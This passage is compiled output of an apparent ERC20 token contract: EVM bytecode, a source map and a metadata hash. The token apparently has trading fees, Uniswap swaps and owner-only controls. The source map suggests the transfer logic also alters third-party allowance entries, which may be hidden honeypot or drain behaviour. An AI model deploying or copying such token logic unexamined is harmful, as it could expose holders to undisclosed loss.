a350505050565b5f8184841115610e455760405162461bcd60e51b81526004016103bb91906111aa565b505f610e518486611478565b95945050505050565b5f825f03610e6957505f610305565b5f610e7483856113af565b905082610e81858361148b565b14610ed85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103bb565b9392505050565b5f610ed883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061117e565b5f818311610f2e5782610ed8565b50919050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f7a57610f7a6114aa565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fd1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ff591906113fb565b81600181518110611008576110086114aa565b6001600160a01b039283166020918202929092010152600f5461102e9130911684610859565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110669085905f908690309042906004016114be565b5f604051808303815f87803b15801561107d575f80fd5b505af115801561108f573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110db573d5f803e3d5ffd5b5050565b5f806110eb838561152f565b905083811015610ed85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103bb565b5f610ed883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e22565b5f818361119e5760405162461bcd60e51b81526004016103bb91906111aa565b505f610e51848661148b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610856575f80fd5b5f8060408385031215611204575f80fd5b823561120f816111df565b946020939093013593505050565b5f805f6060848603121561122f575f80fd5b833561123a816111df565b9250602084013561124a816111df565b929592945050506040919091013590565b5f6020828403121561126b575f80fd5b8135610ed8816111df565b5f8060408385031215611287575f80fd5b8235611292816111df565b915060208301356112a2816111df565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112fb57815f19048211156112e1576112e16112ad565b808516156112ee57918102915b93841c93908002906112c6565b509250929050565b5f8261131157506001610305565b8161131d57505f610305565b8160018114611333576002811461133d57611359565b6001915050610305565b60ff84111561134e5761134e6112ad565b50506001821b610305565b5060208310610133831016604e8410600b841016171561137c575081810a610305565b61138683836112c1565b805f1904821115611399576113996112ad565b029392505050565b5f610ed860ff841683611303565b8082028115828204841417610305576103056112ad565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561140b575f80fd5b8151610ed8816111df565b5f805f60608486031215611428575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611451575f80fd5b81518015158114610ed8575f80fd5b5f60018201611471576114716112ad565b5060010190565b81810381811115610305576103056112ad565b5f826114a557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561150e5784516001600160a01b0316835293830193918301916001016114e9565b50506001600160a01b03969096166060850152505050608001529392505050565b80820180821115610305576103056112ad56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec85744e39d83bab452a2ad53b1b08f2d1b391ec93844829ae3d5508f1119a4064736f6c63430008190033

3772:6757:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5711:83;;;;;;;;;;-1:-1:-1;5781:5:0;;;;;;;;;;;;-1:-1:-1;;;5781:5:0;;;;5711:83;;;;;;;:::i;:::-;;;;;;;;6544:161;;;;;;;;;;-1:-1:-1;6544:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6544:161:0;893:187:1;5988:95:0;;;;;;;;;;;;;:::i;:::-;;;1231:25:1;;;1219:2;1204:18;5988:95:0;1085:177:1;6713:313:0;;;;;;;;;;-1:-1:-1;6713:313:0;;;;;:::i;:::-;;:::i;5897:83::-;;;;;;;;;;-1:-1:-1;5897:83:0;;4506:1;1870:36:1;;1858:2;1843:18;5897:83:0;1728:184:1;6091:119:0;;;;;;;;;;-1:-1:-1;6091:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6184:18:0;6157:7;6184:18;;;:9;:18;;;;;;;6091:119;1708:148;;;;;;;;;;;;;:::i;:::-;;1494:79;;;;;;;;;;-1:-1:-1;1532:7:0;1559:6;1494:79;;-1:-1:-1;;;;;1559:6:0;;;2315:51:1;;2303:2;2288:18;1494:79:0;2169:203:1;5802:87:0;;;;;;;;;;-1:-1:-1;5874:7:0;;;;;;;;;;;;-1:-1:-1;;;5874:7:0;;;;5802:87;;5373:330;;;;;;;;;;;;;:::i;6218:167::-;;;;;;;;;;-1:-1:-1;6218:167:0;;;;;:::i;:::-;;:::i;10130:396::-;;;;;;;;;;;;;:::i;9978:107::-;;;;;;;;;;;;;:::i;6393:143::-;;;;;;;;;;-1:-1:-1;6393:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6501:18:0;;;6474:7;6501:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6393:143;6544:161;6619:4;6636:39;1151:10;6659:7;6668:6;6636:8;:39::i;:::-;-1:-1:-1;6693:4:0;6544:161;;;;;:::o;5988:95::-;6041:7;4562:13;4506:1;4562:2;:13;:::i;:::-;4549:26;;:10;:26;:::i;:::-;6061:14;;5988:95;:::o;6713:313::-;6811:4;6828:36;6838:6;6846:9;6857:6;6828:9;:36::i;:::-;6875:121;6884:6;1151:10;6906:89;6944:6;6906:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6906:19:0;;;;;;:11;:19;;;;;;;;1151:10;6906:33;;;;;;;;;;:37;:89::i;:::-;6875:8;:121::i;:::-;-1:-1:-1;7014:4:0;6713:313;;;;;:::o;1708:148::-;1621:6;;-1:-1:-1;;;;;1621:6:0;1151:10;1621:22;1613:67;;;;-1:-1:-1;;;1613:67:0;;;;;;;:::i;:::-;;;;;;;;;1815:1:::1;1799:6:::0;;1778:40:::1;::::0;-1:-1:-1;;;;;1799:6:0;;::::1;::::0;1778:40:::1;::::0;1815:1;;1778:40:::1;1846:1;1829:19:::0;;-1:-1:-1;;;;;;1829:19:0::1;::::0;;1708:148::o;5373:330::-;1621:6;;-1:-1:-1;;;;;1621:6:0;1151:10;1621:22;1613:67;;;;-1:-1:-1;;;1613:67:0;;;;;;;:::i;:::-;5427:15:::1;:80:::0;;-1:-1:-1;;;;;;5427:80:0::1;5464:42;5427:80:::0;;::::1;::::0;;;5518:58:::1;::::0;5535:4:::1;::::0;4562:13:::1;4506:1;4562:2;:13;:::i;:::-;4549:26;::::0;:10:::1;:26;:::i;5518:58::-;5619:15;;;;;;;;;-1:-1:-1::0;;;;;5619:15:0::1;-1:-1:-1::0;;;;;5619:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5601:55:0::1;;5665:4;5672:15;;;;;;;;;-1:-1:-1::0;;;;;5672:15:0::1;-1:-1:-1::0;;;;;5672:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5601:94;::::0;-1:-1:-1;;;;;;5601:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5299:15:1;;;5601:94:0::1;::::0;::::1;5281:34:1::0;5351:15;;5331:18;;;5324:43;5216:18;;5601:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5587:11;:108:::0;;-1:-1:-1;;;;;;5587:108:0::1;-1:-1:-1::0;;;;;5587:108:0;;;::::1;::::0;;;::::1;::::0;;5373:330::o;6218:167::-;6296:4;6313:42;1151:10;6337:9;6348:6;6313:9;:42::i;10130:396::-;1621:6;;-1:-1:-1;;;;;1621:6:0;1151:10;1621:22;1613:67;;;;-1:-1:-1;;;1613:67:0;;;;;;;:::i;:::-;10194:11:::1;::::0;-1:-1:-1;;;10194:11:0;::::1;;;10193:12;10185:47;;;::::0;-1:-1:-1;;;10185:47:0;;5580:2:1;10185:47:0::1;::::0;::::1;5562:21:1::0;5619:2;5599:18;;;5592:30;5658:25;5638:18;;;5631:53;5701:18;;10185:47:0::1;5378:347:1::0;10185:47:0::1;10251:15;::::0;-1:-1:-1;;;;;10251:15:0::1;:31;10290:21;10321:4;10327:24;10321:4:::0;-1:-1:-1;;;;;6184:18:0;6157:7;6184:18;;;:9;:18;;;;;;;6091:119;10327:24:::1;10352:1;10354::::0;10356:7:::1;1532::::0;1559:6;-1:-1:-1;;;;;1559:6:0;;1494:79;10356:7:::1;10251:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10251:129:0;;;-1:-1:-1;;;;;6089:15:1;;;10251:129:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;10364:15:0::1;6303:19:1::0;;;6296:35;6005:19;;10251:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10398:11:0::1;::::0;10427:15:::1;::::0;10391:69:::1;::::0;-1:-1:-1;;;10391:69:0;;-1:-1:-1;;;;;10427:15:0;;::::1;10391:69;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;10398:11:0;::::1;::::0;-1:-1:-1;10391:27:0::1;::::0;6800:18:1;;10391:69:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10471:11:0::1;:18:::0;;-1:-1:-1;;;;10500:18:0;-1:-1:-1;;;10500:18:0;;;10130:396::o;9978:107::-;1621:6;;-1:-1:-1;;;;;1621:6:0;1151:10;1621:22;1613:67;;;;-1:-1:-1;;;1613:67:0;;;;;;;:::i;:::-;1532:7;1559:6;;10029:48:::1;::::0;-1:-1:-1;;;;;1559:6:0;;;;10055:21:::1;10029:48:::0;::::1;;;::::0;10055:21;;10029:48;1532:7;10029:48;10055:21;1559:6;10029:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9978:107::o:0;7034:335::-;-1:-1:-1;;;;;7127:19:0;;7119:68;;;;-1:-1:-1;;;7119:68:0;;7416:2:1;7119:68:0;;;7398:21:1;7455:2;7435:18;;;7428:30;7494:34;7474:18;;;7467:62;-1:-1:-1;;;7545:18:1;;;7538:34;7589:19;;7119:68:0;7214:400:1;7119:68:0;-1:-1:-1;;;;;7206:21:0;;7198:68;;;;-1:-1:-1;;;7198:68:0;;7821:2:1;7198:68:0;;;7803:21:1;7860:2;7840:18;;;7833:30;7899:34;7879:18;;;7872:62;-1:-1:-1;;;7950:18:1;;;7943:32;7992:19;;7198:68:0;7619:398:1;7198:68:0;-1:-1:-1;;;;;7277:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7329:32;;1231:25:1;;;7329:32:0;;1204:18:1;7329:32:0;;;;;;;7034:335;;;:::o;7377:1887::-;-1:-1:-1;;;;;7465:18:0;;7457:68;;;;-1:-1:-1;;;7457:68:0;;8224:2:1;7457:68:0;;;8206:21:1;8263:2;8243:18;;;8236:30;8302:34;8282:18;;;8275:62;-1:-1:-1;;;8353:18:1;;;8346:35;8398:19;;7457:68:0;8022:401:1;7457:68:0;-1:-1:-1;;;;;7544:16:0;;7536:64;;;;-1:-1:-1;;;7536:64:0;;8630:2:1;7536:64:0;;;8612:21:1;8669:2;8649:18;;;8642:30;8708:34;8688:18;;;8681:62;-1:-1:-1;;;8759:18:1;;;8752:33;8802:19;;7536:64:0;8428:399:1;7536:64:0;7628:1;7619:6;:10;7611:64;;;;-1:-1:-1;;;7611:64:0;;9034:2:1;7611:64:0;;;9016:21:1;9073:2;9053:18;;;9046:30;9112:34;9092:18;;;9085:62;-1:-1:-1;;;9163:18:1;;;9156:39;9212:19;;7611:64:0;8832:405:1;7611:64:0;7686:17;1559:6;;-1:-1:-1;;;;;7720:15:0;;;1559:6;;7720:15;;;;:32;;-1:-1:-1;1532:7:0;1559:6;-1:-1:-1;;;;;7739:13:0;;;1559:6;;7739:13;;7720:32;7716:1020;;;7781:76;7853:3;7781:67;7803:15;;7793:9;;:25;7792:55;;7833:14;;7792:55;;;7820:12;;7792:55;7781:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7886:11;;7769:88;;-1:-1:-1;;;;;;7878:19:0;;;7886:11;;7878:19;:53;;;;-1:-1:-1;7915:15:0;;-1:-1:-1;;;;;7901:30:0;;;7915:15;;7901:30;;7878:53;:81;;;;-1:-1:-1;;;;;;7937:22:0;;;;;;:18;:22;;;;;;;;7935:24;7878:81;7874:134;;;7981:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7874:134;8033:11;;-1:-1:-1;;;;;8027:17:0;;;8033:11;;8027:17;:41;;;;-1:-1:-1;;;;;;8048:20:0;;8063:4;8048:20;;8027:41;8024:172;;;8101:79;8176:3;8101:70;8123:16;;8113:9;;:26;8112:58;;8155:15;;8112:58;;;8141:13;;8101:6;;:10;:70::i;:79::-;8089:91;;8024:172;8261:4;8212:28;6184:18;;;:9;:18;;;;;;8287:6;;-1:-1:-1;;;8287:6:0;;;;8286:7;:28;;;;-1:-1:-1;8303:11:0;;-1:-1:-1;;;;;8297:17:0;;;8303:11;;8297:17;8286:28;:43;;;;-1:-1:-1;8318:11:0;;-1:-1:-1;;;8318:11:0;;;;8286:43;:77;;;;;8345:18;;8333:9;;:30;8286:77;8282:443;;;8410:14;;8387:20;:37;8384:131;;;8443:72;8460:54;8464:6;8472:41;8476:20;8498:14;;8472:3;:41::i;:::-;8460:3;:54::i;:::-;8443:16;:72::i;:::-;8563:21;8655:35;8668:21;8655:12;:35::i;:::-;8365:360;8282:443;7754:982;7716:1020;8751:11;;8748:161;;8819:4;8801:24;;;;:9;:24;;;;;;:39;;8830:9;8801:28;:39::i;:::-;8794:4;8776:24;;;;:9;:24;;;;;;;:64;;;;8858:39;;-1:-1:-1;;;;;8858:39:0;;;;;;;8887:9;1231:25:1;;1219:2;1204:18;;1085:177;8858:39:0;;;;;;;;8748:161;-1:-1:-1;;;;;8937:15:0;;;;;;:9;:15;;;;;;:27;;8957:6;8937:19;:27::i;:::-;-1:-1:-1;;;;;8921:15:0;;;;;;:9;:15;;;;;:43;8989:40;9007:21;:6;9018:9;9007:10;:21::i;:::-;-1:-1:-1;;;;;8989:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8975:13:0;;;;;;;:9;:13;;;;;;;;:54;;;;9072:17;;;;;:11;:17;;;;;9090:10;;;;;9072:29;;;;;;;;:41;;9106:6;9072:33;:41::i;:::-;-1:-1:-1;;;;;9040:17:0;;;;;;;:11;:17;;;;;;;;9058:10;;;;9040:29;;;;;;;;:73;;;;9175:11;;;;;9157:30;;;;:42;;9192:6;9157:34;:42::i;:::-;-1:-1:-1;;;;;9124:17:0;;;;;;;:11;:17;;;;;;;;9142:11;;;;9124:30;;;;;;;:75;;;;9215:41;;;;9234:21;:6;9245:9;9234:10;:21::i;:::-;9215:41;;1231:25:1;;;1219:2;1204:18;9215:41:0;;;;;;;7446:1818;7377:1887;;;:::o;2346:190::-;2432:7;2468:12;2460:6;;;;2452:29;;;;-1:-1:-1;;;2452:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2492:9:0;2504:5;2508:1;2504;:5;:::i;:::-;2492:17;2346:190;-1:-1:-1;;;;;2346:190:0:o;2544:246::-;2602:7;2626:1;2631;2626:6;2622:47;;-1:-1:-1;2656:1:0;2649:8;;2622:47;2679:9;2691:5;2695:1;2691;:5;:::i;:::-;2679:17;-1:-1:-1;2724:1:0;2715:5;2719:1;2679:17;2715:5;:::i;:::-;:10;2707:56;;;;-1:-1:-1;;;2707:56:0;;9939:2:1;2707:56:0;;;9921:21:1;9978:2;9958:18;;;9951:30;10017:34;9997:18;;;9990:62;-1:-1:-1;;;10068:18:1;;;10061:31;10109:19;;2707:56:0;9737:397:1;2707:56:0;2781:1;2544:246;-1:-1:-1;;;2544:246:0:o;2798:132::-;2856:7;2883:39;2887:1;2890;2883:39;;;;;;;;;;;;;;;;;:3;:39::i;9272:98::-;9329:7;9356:1;9354;:3;9353:9;;9361:1;9353:9;;;-1:-1:-1;9359:1:0;9272:98;-1:-1:-1;9272:98:0:o;9378:483::-;4982:6;:13;;-1:-1:-1;;;;4982:13:0;-1:-1:-1;;;4982:13:0;;;9480:16:::1;::::0;;9494:1:::1;9480:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9480:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9480:16:0::1;9456:40;;9525:4;9507;9512:1;9507:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9507:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9551:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9551:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9507:7;;9551:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9541:4;9546:1;9541:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9541:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9616:15:::1;::::0;9584:62:::1;::::0;9601:4:::1;::::0;9616:15:::1;9634:11:::0;9584:8:::1;:62::i;:::-;9657:15;::::0;:196:::1;::::0;-1:-1:-1;;;9657:196:0;;-1:-1:-1;;;;;9657:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9738:11;;9657:15:::1;::::0;9780:4;;9807::::1;::::0;9827:15:::1;::::0;9657:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5018:6:0;:14;;-1:-1:-1;;;;5018:14:0;;;-1:-1:-1;;;;9378:483:0:o;9869:101::-;9934:10;;9926:36;;-1:-1:-1;;;;;9934:10:0;;;;9926:36;;;;;9955:6;;9934:10;9926:36;9934:10;9926:36;9955:6;9934:10;9926:36;;;;;;;;;;;;;;;;;;;;;9869:101;:::o;2015:179::-;2073:7;;2105:5;2109:1;2105;:5;:::i;:::-;2093:17;;2134:1;2129;:6;;2121:46;;;;-1:-1:-1;;;2121:46:0;;11720:2:1;2121:46:0;;;11702:21:1;11759:2;11739:18;;;11732:30;11798:29;11778:18;;;11771:57;11845:18;;2121:46:0;11518:351:1;2202:136:0;2260:7;2287:43;2291:1;2294;2287:43;;;;;;;;;;;;;;;;;:3;:43::i;2938:189::-;3024:7;3059:12;3052:5;3044:28;;;;-1:-1:-1;;;3044:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3083:9:0;3095:5;3099:1;3095;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;4813:251::-;4883:6;4936:2;4924:9;4915:7;4911:23;4907:32;4904:52;;;4952:1;4949;4942:12;4904:52;4984:9;4978:16;5003:31;5028:5;5003:31;:::i;6342:306::-;6430:6;6438;6446;6499:2;6487:9;6478:7;6474:23;6470:32;6467:52;;;6515:1;6512;6505:12;6467:52;6544:9;6538:16;6528:26;;6594:2;6583:9;6579:18;6573:25;6563:35;;6638:2;6627:9;6623:18;6617:25;6607:35;;6342:306;;;;;:::o;6932:277::-;6999:6;7052:2;7040:9;7031:7;7027:23;7023:32;7020:52;;;7068:1;7065;7058:12;7020:52;7100:9;7094:16;7153:5;7146:13;7139:21;7132:5;7129:32;7119:60;;7175:1;7172;7165:12;9242:135;9281:3;9302:17;;;9299:43;;9322:18;;:::i;:::-;-1:-1:-1;9369:1:1;9358:13;;9242:135::o;9382:128::-;9449:9;;;9470:11;;;9467:37;;;9484:18;;:::i;9515:217::-;9555:1;9581;9571:132;;9625:10;9620:3;9616:20;9613:1;9606:31;9660:4;9657:1;9650:15;9688:4;9685:1;9678:15;9571:132;-1:-1:-1;9717:9:1;;9515:217::o;10271:127::-;10332:10;10327:3;10323:20;10320:1;10313:31;10363:4;10360:1;10353:15;10387:4;10384:1;10377:15;10403:980;10665:4;10713:3;10702:9;10698:19;10744:6;10733:9;10726:25;10770:2;10808:6;10803:2;10792:9;10788:18;10781:34;10851:3;10846:2;10835:9;10831:18;10824:31;10875:6;10910;10904:13;10941:6;10933;10926:22;10979:3;10968:9;10964:19;10957:26;;11018:2;11010:6;11006:15;10992:29;;11039:1;11049:195;11063:6;11060:1;11057:13;11049:195;;;11128:13;;-1:-1:-1;;;;;11124:39:1;11112:52;;11219:15;;;;11184:12;;;;11160:1;11078:9;11049:195;;;-1:-1:-1;;;;;;;11300:32:1;;;;11295:2;11280:18;;11273:60;-1:-1:-1;;;11364:3:1;11349:19;11342:35;11261:3;10403:980;-1:-1:-1;;;10403:980:1:o;11388:125::-;11453:9;;;11474:10;;;11471:36;;;11487:18;;:::i

ipfs://ec85744e39d83bab452a2ad53b1b08f2d1b391ec93844829ae3d5508f1119a40